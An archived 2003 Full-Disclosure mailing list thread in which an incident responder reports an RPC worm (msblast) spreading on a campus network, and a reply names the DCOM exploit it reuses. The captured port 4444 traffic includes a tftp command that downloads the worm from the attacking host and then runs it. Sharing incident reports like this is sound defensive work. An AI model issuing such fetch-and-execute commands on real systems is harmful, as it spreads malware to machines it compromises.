lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
From: jasonc at science.org (Jason Coombs) Subject: rpc worm It appears that the exploit and bindshell portion of the msblast worm is vanilla, off-the-shelf "oc192-dcom.c" The only novel code is likely the scripted commands sent to the remote shell via port 4444 -----Original Message----- From: full-disclosure-admin@...ts.netsys.com [mailto:full-disclosure-admin@...ts.netsys.com]On Behalf Of Jordan Wiens Sent: Monday, August 11, 2003 10:23 AM To: full-disclosure@...ts.netsys.com Subject: [Full-Disclosure] rpc worm We're seeing what looks like an rpc worm spreading internally (gotta love dialup users), and I'm trying to figure out if this is something new, or just something old that we finally are getting. I'm not entirely sure it's a worm, it almost appears to be an auto-rooter with quick spreading ability (fine line between that and a worm, I suppose). Has anybody else seen something with these characteristics: Host scans local subnet first, looking for vulnerable machines and opening up port 4444 on the remote host, and running the following: -------------port 4444 traffic---------- tftp -i aaa.bbb.ccc.ddd GET msblast.exe start msblast.exe msblast.exe HTTP/1.0 403 Forbidden Server: AdSubtract 2.50 Content-Type: text/html;charset=utf-8 Content-Length: 349 <html> <head> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> <title>Forbidden</title> </head> <body> <h1>Forbidden</h1> <h2>Requests from host hostname.of.attacking.host/aaa.bbb.ccc.ddd not allowed; only requests from localhost (127.0.0.1) are allowed. </h2> </body></html> -------------port 4444 traffic---------- The exploit appears to only try one attack against the hosts, so I'm guessing it's cutting its losses and trying only one exploit offset, unless there's a magic offset that works on both 2k and XP. Also, just got word that it's apparently being reported on nanog as well. Batten down the hatches... -- Jordan Wiens, CISSP UF Network Incident Response Team (352)392-2061 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Powered by blists - more mailing lists